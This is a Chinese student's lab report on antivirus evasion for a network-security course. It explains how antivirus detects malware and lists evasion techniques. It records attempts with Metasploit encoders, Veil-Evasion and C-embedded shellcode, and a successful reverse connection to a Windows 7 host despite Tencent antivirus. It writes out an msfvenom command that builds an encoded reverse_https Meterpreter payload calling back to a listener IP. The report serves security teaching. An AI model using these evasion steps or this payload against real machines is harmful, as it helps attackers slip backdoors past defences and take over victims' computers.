20155227《网络对抗》Exp3 免杀原理与实践
20155227《网络对抗》Exp3 免杀原理与实践
实践内容
- 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧
- 通过组合应用各种技术实现恶意代码免杀
- 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
基础问题回答
杀软是如何检测出恶意代码的?
-
基于特征码的检测:可执行文件包含特征码库中的某段数据就会被认为是恶意代码。
-
启发式恶意软件检测:一个软件在干通常是恶意软件干的事,看起来了像个恶意软件,就把它当成一个恶意软件。
-
基于行为的恶意软件检测:启发式的一种,加入了行为监控。
免杀是做什么?
- 想尽一切办法不让杀软发现自己是个病毒,然后悄悄地做病毒要做的事情。
免杀的基本方法有哪些?
-
改变特征码:对于
exe
可以加壳,对于shellcode
可以用encode
编码、基于payload
重编译,对于源代码可以用其他语言重写。 -
改变行为:在通信方式方面尽量使用反弹式连接、隧道技术、加密数据,在操作模式上尽量基于内存操作、减少修改系统、加入有正常作用的代码迷惑杀软。
实验内容及步骤
MSF编码器
1.直接使用上一个实验生成的后门程序检测结果如下:
2.一次编码结果:
3.十次编码结果:
编码次数再多,也没什么实质性的变化。
Veil-Evasion
首先安装veil:
-
use python/meterpreter/rev_tcp.py(设置payload)
-
set LHOST Kali的IP(设置反弹连接IP)
-
set port 端口号(设置反弹端口,默认为4444)
-
generate
-
可执行文件名
-
1(选择使用python语言来编写)
可是这个时候出现了错误,我又重来了一次,最后一步选择2(pyexe2),可是这个时候并没有生成exe文件。
后来我不使用python,使用c语言。
扫描结果如下:
同样也被360检查出来了。
C语言调用Shellcode
首先,在Kali
上使用命令生成一个c语言格式的Shellcode
数组。
然后,在Win
主机上使用VC
新建一个c文件,将Shellcode
数组拷贝到其中,在加上头文件和一个小函数。
扫描结果如下:
12%的杀软报告病毒。
运用压缩壳+上面的C+shellcode:
依然是12%的杀软报告病毒。
结合使用不同编码器:msfvenom -p windows/meterpreter/reverse_https -e x86/bloxor LHOST=192.168.115.128 -f c
命令生成的shellcode数组拷贝到c文件中扫描结果如下(使用默认的编译选项就可以完成免杀。):
依然有15%的杀软报告病毒。
360直接检查出来了。
免杀回连测试
在使用veil-evasion测试时,最后一步选择2(pyexe2),可是这个时候并没有生成exe文件。
于是我在win下用python setup.py py2exe
命令进行编译python源代码5227test32.py
,在生成的dist目录下有生成的exe文件(在win下安装了Python2.7和py2exe)。
脚本setup.py如下:
进行扫描结果如下:
按照上次实验用过的msf监听方法在Kali上打开监听,在Win(win7)主机开启杀软(腾讯管家)的情况下,Kali成功获取了Win主机的权限:
离实战还缺些什么技术或步骤?
在实际应用中,我们不可能这么容易将后门植入到别人的电脑,或许可以通过钓鱼网站之类的方法来实现。而且按照我这次实现免杀的方法,是在win下面进行编译,实际运用中也不知道该如何实现。这点还需要我们去思考,去探索。而且现在各种杀毒软件层出不穷,它们的病毒库在不断地更新,功能也在不断地完善,今天实现了免杀可能过段时间就失败了,所以还需要我们根据漏洞自己写代码,而不是用软件来直接生成。
实践总结与体会
做完这次实验,我对于网络安全的问题有了更深的体会。之前一直觉得只要安装好杀毒软件,定期杀毒、给电脑体检就可以了,然而我们自己都能实现免杀,更不要说那些恶意想要攻击你电脑的人了。在当今社会,处处离不开网络,因此我们要时时刻刻提高安全防范意识,定期检查自己的电脑,防止别人恶意盗取利用自己的信息。希望可以将自己学到的知识与实践相结合,帮助别人解决更多的问题。